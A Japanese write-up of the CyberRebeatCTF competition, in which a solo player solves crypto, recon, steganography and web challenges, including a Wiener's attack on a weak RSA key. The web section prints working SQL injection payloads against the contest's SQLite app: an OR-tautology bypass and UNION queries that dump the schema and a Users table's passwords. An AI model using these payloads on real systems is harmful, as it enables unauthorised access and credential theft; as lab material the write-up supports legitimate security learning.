CyberRebeatCTF Writeup

チーム一人。 シェル芸はCTFでも有用
Added by kanata over 6 years ago

CTF Writeup CyberRebeatCTF

結果&感想

CyberRebeatCTF

Love UI Kit.

でも結構解けて3232点で26位。チーム一人にしては頑張った方では

question.jpg

ranking.jpg

writeupは、すごい簡単なヤツは省略しました

Binary - SimpleBinary

pedaでステップ実行するだけ

Binary_SimpleBinary.png

Crypto - Rotation

問題

P4P6S{9RN4RUNPXR45}

ROT13の亜種と踏んで対応表を作る

P4P6SはCRCTFになることが判っているので、それをヒントに

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZ__________ABCDEFGHIJKLM

P4P6S{9RN4RUNPXR45}
CRCTF{WEAREHACKERS}

Crypto FLAG.encrypted

暗号文と公開鍵を渡される

公開鍵を見てみる

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (2048 bit)
Modulus:
    00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2:
    94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f:
    a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e:
    8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83:
    93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35:
    e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5:
    41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39:
    f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24:
    dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70:
    9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4:
    7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38:
    70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98:
    d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa:
    fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49:
    06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2:
    c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68:
    a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6:
    cf:9d
Exponent:
    00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96:
    97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79:
    c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8:
    ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3:
    55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d:
    60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90:
    7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c:
    a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5:
    3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9:
    d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60:
    fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4:
    eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0:
    5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8:
    33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7:
    0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9:
    96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1:
    73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7:
    33:e1
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU
PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz
+OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX
3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9
7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he
GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP
nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc
Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+
5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr
WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1
CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN
QC0svfFztL90YRAwcTtPjV9b7+cz4Q==
-----END PUBLIC KEY-----

e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる

という訳でココを参考にする(これを解くpythonスクリプトが公開されている)

RSAwienerHacker.py

'''
Created on Dec 14, 2011

@author: pablocelayes
'''

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)

 中略

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    #test_hack_RSA()
    e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
    n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
    c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412

    hacked_d = hack_RSA(e, n)

    m=pow(c, hacked_d, n)
    print m
    print("%0512x" %m).decode("hex") 

出た

$ python RSAwienerHacker.py 
Hacked!
11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714
Dx abyb}0<ƁOGK}
B."Yϱ
     򿍨2:JY\     umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}

Misc - Readme

Misc_readme.jpg

気合で読む、こんな感じ

Misc_readme_excel.jpg

Programing - Calculation

nc 59.106.212.75 8080

こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8080

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Programing - Prime Factor

Answer the maximum prime factor.

nc 59.106.212.75 8081

example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)

こういうのもシェルスクリプトでサクッといけるんやで(2回目)

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8081

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Recon - Tweet

Let's check our official twitter account!

はい

Recon - CyberRebeatScripts

Do you know Github?

調べると出てくる

https://github.com/ennach/CyberRebeatScripts

これを git clone して、git log -p する

commit 86cc1779522ad0708ad0b829935b08ac42b2588d
Author: ennach <ennach@gmail.com>
Date:   Tue Sep 4 22:38:27 2018 +0900

    delete FLAG

diff --git a/chapter1-1en.txt b/chapter1-1en.txt
index db0ded3..a16cc12 100644
--- a/chapter1-1en.txt
+++ b/chapter1-1en.txt
@@ -98,7 +98,6 @@
 "Hiro, I'll take the lady to go."
 "Neko-san already did that joke."
 @erase_chara
-@FLAG=CRCTF{I cut down her gag in a single strike}

Recon - I changed my history on Github!

I changed my history on Github!

ちょっとハマった。該当のリポジトリ

https://github.com/ennach/ChangeHistory

消されたコミットIDは、このページから解る

https://github.com/ennach

[ToDo] I committed the FLAG by mistake!

That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!

無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った

No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552

という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486

+ からあげとご飯を皿に移し、電子レンジへ放り込む。
+ ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。
+ なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。
+「この量なら2分くらいかな」
+ コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。
+ まるで隣の家に宅配便を送るみたいな迂遠さだ。
+「これ、もっとどうにかならないの?」
+「CRCTF{the timer is set to 120 seconds}」

Stegano - secret.pdf

黒塗りされたpdfが渡される

Stegano_secretpdf.jpg

コピペで中身見れる

FLAG is CRCTF{I don't know of a time without the internet}

Stegano - Alpha

Stegano_alpha.png

これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない

Stegano_secretpdf1.jpg

png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた

うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った

うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html

と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る

Stegano_secretpdf2.jpg 60%

Stegano - Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

けっこう時間かかった。。

mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる

<?xml version="1.0" encoding="UTF-8"?>
<!--MP4Box dump trace-->
<IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4">
<FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0">
<BrandEntry AlternateBrand="M4V "/>
<BrandEntry AlternateBrand="M4A "/>

中略

</MovieBox>
<MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107">
</MediaDataBox>
<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" >
</UUIDBox>
</IsoMediaFile>

なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか

Stegano_Last5boxes1.png

あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒

おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる

あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103

こうなってて

aligned(8) class Box (unsigned int(32) box type, 
                      optional unsigned int(8)[16] extended_type) {
    unsigned int(32) size;
    unsigned int(32) type = boxtype;
    if (size == 1) {
        unsigned int(64) largesize;
    } else if (size == 0) {
        // box extends to end of file
    }
    if (boxtype == 'uuid') {
        unsigned int(8)[16] usertype = extended_type;
    }
}

こうなってるらしい

ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。

どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる

Stegano_Last5boxes2.png

あーはいはい、そういうことね完全に理解した
仕様通りや

00 00 04 00 : size 1024 byte
75 75 69 64 : type "uuid"
07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid

という訳でこれらを削除してpng画像完成!

Stegano_Last5boxes3.png

Web - White page

http://hidden-field.cyberrebeat.adctf.online/index.php
id:Hiro
password:LittleGarden

ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる

Web_Whitepage1.png

はい

Web_Whitepage2.png

Web - Uploader

Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php

id:guest
pass:guest

なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった

File Name: にこれを入力

' OR 'A' = 'A' --

Web_Uploader1.png

secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる

SQLiteとわかったので、テーブル情報を抜く

' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --

Web_Uploader2.png

Files   CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date`   INTEGER NOT NULL, `upload_userid`   TEXT )      
Users   CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password`   TEXT NOT NULL )     
sqlite_sequence CREATE TABLE sqlite_sequence(name,seq)  

ふんふむ。こんなテーブルだね

Files

id file_name publication_date upload_userid
? ? ? ?

Users

userid password
? ?

じゃ、Usersテーブルからパスワード抜きましょ

' OR 'A' = 'A' union select userid,password,null,null from Users --

Web_Uploader3.png

じゃ、harada seishin0129 でログインしましょう!

Web_Uploader4.png

ほい、zipのパスワードゲット!
zip展開して、コレ

CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}


Comments

Add picture from clipboard (Maximum size: 100 MB)